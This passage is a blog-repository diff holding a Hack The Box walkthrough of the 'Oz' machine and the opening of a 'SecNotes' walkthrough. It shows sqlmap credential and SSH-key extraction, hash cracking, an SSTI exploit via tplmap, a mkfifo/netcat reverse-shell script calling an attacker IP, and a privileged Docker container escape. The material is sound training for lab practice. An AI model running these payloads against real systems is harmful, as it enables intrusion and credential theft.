the database content. - -Databases: -``` -root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --dbs -[...] -available databases [4]: -[*] information_schema -[*] mysql -[*] ozdb -[*] performance_schema -``` - -MySQL credentials: -``` -root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --passwords -[...] - 9] [INFO] retrieved: "root","*61A2BD98DAD2A09749B6FC77A9578609D32518DD" -[18:50:29] [INFO] retrieved: "dorthi","*43AE542A63D9C43FF9D40D0280CFDA58F6C747CA" -[18:50:29] [INFO] retrieved: "root","*61A2BD98DAD2A09749B6FC77A9578609D32518DD" - -``` - -Content of the ozdb database: -``` -root@darkisland:~# sqlmap -u http://10.10.10.96/users/ -D ozdb --dump -[...] -+----+-------------+----------------------------------------------------------------------------------------+ -| id | username | password | -+----+-------------+----------------------------------------------------------------------------------------+ -| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 | -| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk | -| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY | -| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY | -| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg | -| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ | -+----+-------------+----------------------------------------------------------------------------------------+ -[...] -Database: ozdb -Table: tickets_gbw -[12 entries] -+----+----------+--------------------------------------------------------------------------------------------------------------------------------+ -| id | name | desc | -+----+----------+--------------------------------------------------------------------------------------------------------------------------------+ -| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. | -| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. | -| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. | -| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= | -| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. | -| 6 | GBR-5012 | I bet you won't read the next entry. | -| 7 | GBR-7890 | HAHA! Made you look. | -| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. | -| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= | -| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt | -| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt | -| 12 | GBR-9872 | db information loaded to ticket application for shared db access | -+----+----------+--------------------------------------------------------------------------------------------------------------------------------+ -``` - -Let's recap what we found: - - MySQL hashes - - OZDB users hashes - - Hint about port knocking enabled on the server - - Possible SSH keys available - -Using the `--file-read` option, we quickly find that there is no user.txt we can read and that the MySQL runs in a container. - -The `/etc/hosts` file gives it away, notice the randomly generated hostname which corresponds to the container ID. - -``` -root@darkisland:~# sqlmap -u http://10.10.10.96/users/ --file-read=/etc/hosts - ___ - __H__ - ___ ___[)]_____ ___ ___ {1.2.8#stable} -|_ -| . [.] | .'| . | -|___|_ ["]_|_|_|__,| _| - |_|V |_| http://sqlmap.org - -[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program - -[*] starting at 18:53:35 - -[18:53:35] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' -do you want to try URI injections in the target URL itself? [Y/n/q] -[18:53:36] [INFO] resuming back-end DBMS 'mysql' -[18:53:36] [INFO] testing connection to the target URL -[18:53:36] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS -sqlmap resumed the following injection point(s) from stored session: ---- -Parameter: #1* (URI) - Type: UNION query - Title: Generic UNION query (NULL) - 1 column - Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL ---- -[18:53:36] [INFO] the back-end DBMS is MySQL -back-end DBMS: MySQL 5 (MariaDB fork) -[18:53:36] [INFO] fingerprinting the back-end DBMS operating system -[18:53:36] [INFO] the back-end DBMS operating system is Linux -[18:53:36] [INFO] fetching file: '/etc/hosts' -do you want confirmation that the remote file '/etc/hosts' has been successfully downloaded from the back-end DBMS file system? [Y/n] -[18:53:36] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_etc_hosts' and the remote file '/etc/hosts' have the same size (175 B) -files saved to [1]: -[*] /root/.sqlmap/output/10.10.10.96/files/_etc_hosts (same file) - -[18:53:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96' - -[*] shutting down at 18:53:36 - -root@darkisland:~# cat /root/.sqlmap/output/10.10.10.96/files/_etc_hosts -127.0.0.1 localhost -::1 localhost ip6-localhost ip6-loopback -fe00::0 ip6-localnet -ff00::0 ip6-mcastprefix -ff02::1 ip6-allnodes -ff02::2 ip6-allrouters -10.100.10.4 b9b370edd41a -``` - -That's a dead end, next let's grab the SSH keys: - -``` -root@darkisland:~/oz#sqlmap -u http://10.10.10.96/users/ --file-read=/home/dorthi/.ssh/id_rsa - ___ - __H__ - ___ ___[.]_____ ___ ___ {1.2.8#stable} -|_ -| . [(] | .'| . | -|___|_ [']_|_|_|__,| _| - |_|V |_| http://sqlmap.org - -[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program - -[*] starting at 18:57:23 - -[18:57:23] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' -do you want to try URI injections in the target URL itself? [Y/n/q] -[18:57:24] [INFO] resuming back-end DBMS 'mysql' -[18:57:24] [INFO] testing connection to the target URL -[18:57:24] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS/IDS -sqlmap resumed the following injection point(s) from stored session: ---- -Parameter: #1* (URI) - Type: UNION query - Title: Generic UNION query (NULL) - 1 column - Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qbbqq','LTyCYJgVMHDgRhBJZQVYCtpRBHCImKTICLRjERMm'),'qqbvq')-- RRnL ---- -[18:57:24] [INFO] the back-end DBMS is MySQL -back-end DBMS: MySQL 5 (MariaDB fork) -[18:57:24] [INFO] fingerprinting the back-end DBMS operating system -[18:57:24] [INFO] the back-end DBMS operating system is Linux -[18:57:24] [INFO] fetching file: '/home/dorthi/.ssh/id_rsa' -do you want confirmation that the remote file '/home/dorthi/.ssh/id_rsa' has been successfully downloaded from the back-end DBMS file system? [Y/n] -[18:57:24] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa' and the remote file '/home/dorthi/.ssh/id_rsa' have the same size (1766 B) -files saved to [1]: -[*] /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa (same file) - -[18:57:24] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96' - -[*] shutting down at 18:57:24 - -root@darkisland:~/oz# cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa ------BEGIN RSA PRIVATE KEY----- -Proc-Type: 4,ENCRYPTED -DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6 - -RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC -b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F -e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty -h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz -a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd -9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6 -ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj -evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M -EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav -5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr -DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto -bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+ -wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V -0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH -znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft -icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC -zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu -vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw -w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3 -c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0 -nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5 -uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb -/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv -QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu -XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3 ------END RSA PRIVATE KEY----- -``` - -That private key is encrypted, we'll need to extract the hash and convert it to a john format: - -``` -root@darkisland:~/oz# ssh2john hash.txt > hash -root@darkisland:~/oz# cat hash -hash.txt:$ssh2$2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d2d0a50726f632d547970653a20342c454e435259505445440a44454b2d496e666f3a204145532d3132382d4342432c36364239463339463333424130373838434432373230374246384632443046360a0a5256393033483656366c684b786c3864686f636145744c34557a6b796a31667179566a33657953716b41466b6b586d7332482b346c66623335555a62335746430a623650377a595a44416e524c516a4a45632f735156587577457a66574d6137705946394b7636696a495a6d53444f4d41506a61436a6e6a6e58356b4a4d4b33460a6531427251646830706857416868556d62597674327a3844442f4f474b68786c43376f542f3439492f4d452b746d3565794c47624b36394f75786235504274790a6839412b546e37306769454e522f45784f38715934574e51514d7469434d3074737a6573382b67754f454b43636b4d69766d52327157485443732b4e3777627a0a612f2f4a684f472b4764717645684a7031357051756a2f335343394f3578794c65326d714c3154554b3357724670517976386c586172744831764b546e7962640a392b576d652f6756546677535a57674d6547516a52585765334b557367475a4e464b3735775974412f462f444237515a4677664f324c62306d4c3758797a78360a5a616b756c59346246704274587375424a59504e79377742355a7665525342326638647a6e75326d76617242794d6f434e2f586756565a756a75674e6245636a0a6576726f4c474e652f2b49536b4a57563434334b7954634a3269495241612b427a486872427833316b472f2f6e69783076586f487a4238566a336671682b324d0a457963567644784c4b3843494d7a486333635256554d42655132583447754c5047524b6c556553726d597a2f734837354152337a68365a766c766131355961760a3576523438636453684653334643366148365351575665394b336f487a5968776c66542b7756506661655a72536c4348306847317a394331423942784d4c51720a4448656a703962624c70704a3339706531552b44426a7a446f347336726b2b43692f35647069656f6558726d475471456c4451692b4b4555396738434a70746f0a6259414755785046497050724e322b315242627859365956616f7035657971746e46345a47704a436f4357327238425273437675494c76724f314f306758462b0a7774736b746d796c6d48764841706f5872572f4754686a64566b644439552f36526d767633732f4f68746c4170335771773652492b4b6643504769437a6831560a3079665848373043664c4f324e6357744f2f4a554a765948334d2b72764444485a534c716757383431796b7a647251586e523773394e6a32456d6f57373249480a7a6e4e506d42314c51744434354e48364f4947382b51574e4164514863675a657077507a342f3970653274457175374d672f634c5542735459623461366d66740a69634f58394f414f72635a3852476349645657747a55347132594b5a6578346c797a65432f6b345441626f665a3045346b557361496246562f374f4d65644d430a7a43544a36726c416c326438653864735366463936515765766e44353079782b77624a2f697a5a6f6e486d552f3261633463384c5059713651394b4c6d6c6e750a764939624c664f4a6838444c46757143564938477a524f6a496478646c7a6b397970344c7863416e6d314f78394d4549716d4f567741643362456d59636b4b770a772f456d41724e49726e72353451376131504d6443735a63656a436a6e766d51465a336b6f35436f4643432b6b5565316a3932693038316b4f41686d587156330a633678676838566732714f797a6f5a6d3577525a5a46326e54586e6e4351334f5952334e4d73554254564732746c676670314e67647749797854576e303956300a6e4f7a714e744a374f4274302f526577547346676f4e5672435162513856765a46636b76473873563355396268395a6c32382f324933423437326951526f2b350a756f5248704167664f534f45527478754d706b726b5533497a53507356533963334c674b68695453357754625477374f2f7678784e4f6f4c706f784f32577a620a2f34586e4542683656674c726a54685163474b69676b574a614b7942484f684574755a714476324d465345367a64582f4e2b4c2f46524976316f5652395659760a514770714561475355472b2f54536463414e516444336d7636454759492b6f34725a4b45484a4b556c43492b4934386a48627651434c5761522f626b6a5a4a750a587453755630544a58746f3661627a6e53433142466c41434971426d4864656149585771482b4e6c584f434745386a51474d38732f66642f6a356731416477330a2d2d2d2d2d454e44205253412050524956415445204b45592d2d2d2d2d0a*1766*0 -``` - -### Cracking hashes - -The only hash we are able to crack amongst all the stuff we recovered from MySQL and the SSH key is the `wizard.oz` account from the ozdb database: - -``` -root@darkisland:~/oz# john -w=/usr/share/wordlists/rockyou.txt users.txt --fork=4 -Using default input encoding: UTF-8 -Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 AVX 4x]) -Node numbers 1-4 of 4 (fork) -Press 'q' or Ctrl-C to abort, almost any other key for status -3 0g 0:00:44:19 2.46% (ETA: 2018-09-04 01:09) 0g/s 38.70p/s 232.2c/s 232.2C/s johansen1..joeyy -2 0g 0:00:44:19 2.47% (ETA: 2018-09-04 01:08) 0g/s 38.72p/s 232.3c/s 232.3C/s jinsu..jing21 -4 0g 0:00:44:19 2.46% (ETA: 2018-09-04 01:10) 0g/s 38.69p/s 232.1c/s 232.1C/s johnpaul12..johnny43 -1 0g 0:00:44:19 2.47% (ETA: 2018-09-04 01:08) 0g/s 38.72p/s 232.3c/s 232.3C/s jmedina..jlucky -``` - -Password found: `wizard.oz` / `wizardofoz22` - -### Ticketing application - -Once logged in with the `wizard.oz` account we can see the existing tickets and create new ones. - -![](/assets/images/htb-writeup-oz/8.png) - -Unfortunately the creation of new tickets doesn't seem to work; when we submit a new ticket is just brings us back to the tickets list. - -![](/assets/images/htb-writeup-oz/9.png) - -![](/assets/images/htb-writeup-oz/10.png) - -If we use Burp to look at the POST response, we see that the name and description is echoed back to us. If we send a payload with curly braces, we trigger a different response where the math operation inside is executed so we know we are looking at a Service Side Template Injection (SSTI) vulnerability. - -![](/assets/images/htb-writeup-oz/11.png) - -To exploit the SSTI vulnerability we will use the [tplmap](https://github.com/epinna/tplmap) utility. - -``` -root@darkisland:~/tplmap# python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTUzNTkzMTQ2MX0.3x2jmednxdT4PkLgaqV_wDRqy7AjowugPnpbJsMLCnc" -u http://10.10.10.96:8080 -e Jinja2 -d "name=param1&desc=param2" -[+] Tplmap 0.5 - Automatic Server-Side Template Injection Detection and Exploitation Tool - -[+] Testing if POST parameter 'name' is injectable -[+] Jinja2 plugin is testing rendering with tag '{{*}}' -[+] Jinja2 plugin is testing blind injection -[+] Jinja2 plugin has confirmed blind injection -[+] Tplmap identified the following injection point: - - POST parameter: name - Engine: Jinja2 - Injection: * - Context: text - OS: undetected - Technique: blind - Capabilities: - - Shell command execution: ok (blind) - Bind and reverse shell: ok - File write: ok (blind) - File read: no - Code evaluation: ok, python code (blind) - -[+] Rerun tplmap providing one of the following options: - - --os-shell Run shell on the target - --os-cmd Execute shell commands - --bind-shell PORT Connect to a shell bind to a target port - --reverse-shell HOST PORT Send a shell back to the attacker's port - --upload LOCAL REMOTE Upload files to the server -``` - -Let's get a shell with the `--reverse-shell` parameter: - -``` -root@darkisland:~/tplmap# python tplmap.py -c "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTUzNTkzMTQ2MX0.3x2jmednxdT4PkLgaqV_wDRqy7AjowugPnpbJsMLCnc" -u http://10.10.10.96:8080 -e Jinja2 -d "name=param1&desc=param2" --reverse-shell 10.10.14.23 4444 -[+] Tplmap 0.5 - Automatic Server-Side Template Injection Detection and Exploitation Tool - -[+] Testing if POST parameter 'name' is injectable -[+] Jinja2 plugin is testing rendering with tag '{{*}}' -[+] Jinja2 plugin is testing blind injection -[+] Jinja2 plugin has confirmed blind injection -[+] Tplmap identified the following injection point: - - POST parameter: name - Engine: Jinja2 - Injection: * - Context: text - OS: undetected - Technique: blind - Capabilities: - - Shell command execution: ok (blind) - Bind and reverse shell: ok - File write: ok (blind) - File read: no - Code evaluation: ok, python code (blind) -[...] - -root@darkisland:~# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.96] 35807 -/bin/sh: can't access tty; job control turned off -/app # -``` - -### Inside the ticket app container - -The port knocking sequence can be found in the `/.secret` directory: - -``` -/app # ls -la /.secret -total 12 -drwxr-xr-x 2 root root 4096 Apr 24 18:27 . -drwxr-xr-x 53 root root 4096 May 15 17:24 .. --rw-r--r-- 1 root root 262 Apr 24 18:27 knockd.conf -/app # cat /.secret/knockd.conf -[options] - logfile = /var/log/knockd.log - -[opencloseSSH] - - sequence = 40809:udp,50212:udp,46969:udp - seq_timeout = 15 - start_command = ufw allow from %IP% to any port 22 - cmd_timeout = 10 - stop_command = ufw delete allow from %IP% to any port 22 - tcpflags = syn -``` - -The MySQL credentials are also found in `/containers/database/start.sh` - -``` -/containers/database # cat start.sh -#!/bin/bash - -docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \ ---net prodnet --ip 10.100.10.4 \ --e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \ --e MYSQL_USER=dorthi \ --e MYSQL_PASSWORD=N0Pl4c3L1keH0me \ --e MYSQL_DATABASE=ozdb \ --v /connect/sshkeys:/home/dorthi/.ssh/:ro \ --v /dev/null:/root/.bash_history:ro \ --v /dev/null:/root/.ash_history:ro \ --v /dev/null:/root/.sh_history:ro \ ---restart=always \ -mariadb:5.5 -``` - -### Access to the host OS - -First, we open port 22 using the port-knock sequence: -``` -../knock/knock -u 10.10.10.96 40809 50212 46969 -``` - -The we can log in as `dorthi` with the MySQL password `N0Pl4c3L1keH0me`: -``` -root@darkisland:~/oz# ssh -i id_rsa dorthi@10.10.10.96 -Enter passphrase for key 'id_rsa': -dorthi@Oz:~$ cat user.txt -c21cf -``` - -### Privilege Escalation - -We can check the docker networks according to sudoers: -``` -dorthi@Oz:~$ sudo -l -Matching Defaults entries for dorthi on Oz: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User dorthi may run the following commands on Oz: - (ALL) NOPASSWD: /usr/bin/docker network inspect * - (ALL) NOPASSWD: /usr/bin/docker network ls -``` - -``` -dorthi@Oz:~$ sudo /usr/bin/docker network ls -NETWORK ID NAME DRIVER SCOPE -de829e486722 bridge bridge local -49c1b0c16723 host host local -3ccc2aa17acf none null local -48148eb6a512 prodnet bridge local -``` - -``` -dorthi@Oz:~$ sudo /usr/bin/docker network inspect prodnet -[ - { - "Name": "prodnet", - "Id": "48148eb6a512cd39f249c75f7acc91e0ac92d9cc9eecb028600d76d81199893f", - "Created": "2018-04-25T15:33:00.533183631-05:00", - "Scope": "local", - "Driver": "bridge", - "EnableIPv6": false, - "IPAM": { - "Driver": "default", - "Options": {}, - "Config": [ - { - "Subnet": "10.100.10.0/29", - "Gateway": "10.100.10.1" - } - ] - }, - "Internal": false, - "Attachable": false, - "Containers": { - "139ba9457f1a630ee3a072693999c414901d7df49ab8a70b926d246f9ca6cc69": { - "Name": "webapi", - "EndpointID": "9d9d439314e66dcbe6fa38eb32941e4cc31c9dbfc843afbb0008ca017a540e05", - "MacAddress": "02:42:0a:64:0a:06", - "IPv4Address": "10.100.10.6/29", - "IPv6Address": "" - }, - "b9b370edd41a9d3ae114756d306f2502c420f48a4d7fbe36ae31bc18cf7ddb7c": { - "Name": "ozdb", - "EndpointID": "91b4ca1f31762f7e55208b74e5316839609fa0c77bc53aa7a92402827fbba05d", - "MacAddress": "02:42:0a:64:0a:04", - "IPv4Address": "10.100.10.4/29", - "IPv6Address": "" - }, - "c26a7bc669289e40144fa1ad25546f38e4349d964b7b3d4fea13e15fe5a9fb01": { - "Name": "tix-app", - "EndpointID": "73701fde20003bd373653d4f1eb9d84ed5f04f987958d167112e899e585d8450", - "MacAddress": "02:42:0a:64:0a:02", - "IPv4Address": "10.100.10.2/29", - "IPv6Address": "" - } - }, - "Options": {}, - "Labels": {} - } -] -dorthi@Oz:~$ sudo /usr/bin/docker network inspect bridge -[ - { - "Name": "bridge", - "Id": "de829e4867228adc17d5544fda536ff9329f03fefa29d5828b6cade710ec15df", - "Created": "2018-09-02T17:04:14.75249885-05:00", - "Scope": "local", - "Driver": "bridge", - "EnableIPv6": false, - "IPAM": { - "Driver": "default", - "Options": null, - "Config": [ - { - "Subnet": "172.17.0.0/16", - "Gateway": "172.17.0.1" - } - ] - }, - "Internal": false, - "Attachable": false, - "Containers": { - "e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": { - "Name": "portainer-1.11.1", - "EndpointID": "4f616ad115d5cc9daa5c780a48cfe88018d372ce9073e5e9c1929b0a09db693f", - "MacAddress": "02:42:ac:11:00:02", - "IPv4Address": "172.17.0.2/16", - "IPv6Address": "" - } - }, - "Options": { - "com.docker.network.bridge.default_bridge": "true", - "com.docker.network.bridge.enable_icc": "true", - "com.docker.network.bridge.enable_ip_masquerade": "true", - "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0", - "com.docker.network.bridge.name": "docker0", - "com.docker.network.driver.mtu": "1500" - }, - "Labels": {} - } -] -``` - -So, we've just identified another container `portainer-1.11.1` running on `172.17.0.2`. - -Looking at the documentation for portainer, we find that it's running on port `9000`. - -We'll do some SSH port forwarding to get access to the container from our Kali box: - -`ssh -R 9000:172.17.0.2:9000 root@10.10.14.23` - -``` -dorthi@Oz:~$ ssh -R 9000:172.17.0.2:9000 root@10.10.14.23 -The authenticity of host '10.10.14.23 (10.10.14.23)' can't be established. -ECDSA key fingerprint is SHA256:9Oo1eYyjWeG8wM9Diog9J/MlNRpaj8qEy9n8FmKIhf4. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added '10.10.14.23' (ECDSA) to the list of known hosts. -root@10.10.14.23's password: -Linux darkisland 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64 - -The programs included with the Kali GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -Last login: Sun Sep 2 15:41:23 2018 from 10.10.10.96 -``` - -![](/assets/images/htb-writeup-oz/12.png) - -![](/assets/images/htb-writeup-oz/13.png) - -![](/assets/images/htb-writeup-oz/14.png) - -There's a way to change the admin user password: - -[https://github.com/portainer/portainer/issues/493](https://github.com/portainer/portainer/issues/493) - -``` -Steps to reproduce the issue: - -Run portainer -POST to /api/users/admin/init with json [password: mypassword] -login with this password -POST to /api/users/admin/init with json [password: myotherpassword] without Authorization header -Login with mypassword is impossible -Login with myotherpassword is possible -``` - -![](/assets/images/htb-writeup-oz/15.png) - -So we can change the password of admin to one of our choosing. - -Now we can log in: - -![](/assets/images/htb-writeup-oz/16.png) - -![](/assets/images/htb-writeup-oz/17.png) - -So we can now stop/restart/create containers. - -The plan is to create a new container using an existing image, launch it as privileged, mount the local host OS root directory within the container so we can read the root flag. - -- Create the entrypoint shell script that will be run when container starts and then give us a reverse shell - -``` -dorthi@Oz:/tmp$ cat run.sh -#!/bin/sh - -rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f -``` - -- Create a new container running as privileged (we use one of the existing image on the box) - -![](/assets/images/htb-writeup-oz/18.png) - -![](/assets/images/htb-writeup-oz/19.png) - -![](/assets/images/htb-writeup-oz/20.png) - -![](/assets/images/htb-writeup-oz/21.png) - -- Catch the reverse shell and get the root flag - -``` -root@darkisland:/tmp# nc -lvnp 5555 -listening on [any] 5555 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.96] 42233 -/bin/sh: can't access tty; job control turned off -/ # id -uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) -/mnt/root/root # cat root.txt -abaa95 -``` \ No newline at end of file diff --git a/_posts/2019-01-19-htb-writeup-secnotes.md b/_posts/2019-01-19-htb-writeup-secnotes.md deleted file mode 100644 index 13fd6b4b49..0000000000 --- a/_posts/2019-01-19-htb-writeup-secnotes.md +++ /dev/null @@ -1,341 +0,0 @@ ---- -layout: single -title: Secnotes - Hack The Box -date: 2019-01-19 -classes: wide -header: - teaser: /assets/images/htb-writeup-secnotes/secnotes_logo.png -categories: - - hackthebox - - infosec -tags: - - hackthebox - - windows - - sqli - - wsl - - csrf ---- - -This blog post is a writeup of the Hack the Box SecNotes machine from [0xdf](https://0xdf.gitlab.io). - -Windows / 10.10.10.97 - -![](/assets/images/htb-writeup-secnotes/secnotes_logo.png) - -## Summary - -- The box runs a PHP application on an IIS server. -- There is a 2nd order SQL injection in the registration page which allows us to dump all the notes from the database. There is also a CSRF that we can leverage to reset the application password by sending a malicous link to a user through the Contact Us form. -- One of the note contains the credentials for user `Tyler`. -- Using the `Tyler` credentials, we can read/write files from the `new-site` share, which lets us upload a PHP webshell to the IIS site running on port `8808`. -- We can then get a shell by either uploading and running `nc.exe` or using a nishang poweshell oneliner, gaining an initial shell as user `Tyler` on the system. I had trouble getting output from `bash` using nishang so I eventually had to use netcat instead of nishang. -- Enumerating the box, we find that the Linux Subsystem is installed. -- After launching bash, we find in `.bash_history` the credentials for the `Administrator` user. - -## Detailed steps - -### Nmap scan - -Only 3 ports are open, this should make the initial enumeration a bit easier. - -- IIS port 80 -- IIS port 8808 -- SMB port 445 - -``` -root@darkisland:~# nmap -sC -sV -p- 10.10.10.97 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-25 15:10 EDT -Nmap scan report for 10.10.10.97 -Host is up (0.015s latency). -Not shown: 65532 filtered ports -PORT STATE SERVICE VERSION -80/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -| http-title: Secure Notes - Login -|_Requested resource was login.php -445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB) -8808/tcp open http Microsoft IIS httpd 10.0 -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Microsoft-IIS/10.0 -|_http-title: IIS Windows -Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows - -Host script results: -|_clock-skew: mean: 2h15m41s, deviation: 4h02m31s, median: -4m19s -| smb-os-discovery: -| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3) -| OS CPE: cpe:/o:microsoft:windows_10::- -| Computer name: SECNOTES -| NetBIOS computer name: SECNOTES\x00 -| Workgroup: HTB\x00 -|_ System time: 2018-08-25T12:12:28-07:00 -| smb-security-mode: -| account_used: guest -| authentication_level: user -| challenge_response: supported -|_ message_signing: disabled (dangerous, but default) -| smb2-security-mode: -| 2.02: -|_ Message signing enabled but not required -| smb2-time: -| date: 2018-08-25 15:12:26 -|_ start_date: N/A - -Service detection performed. Please report any incorrect 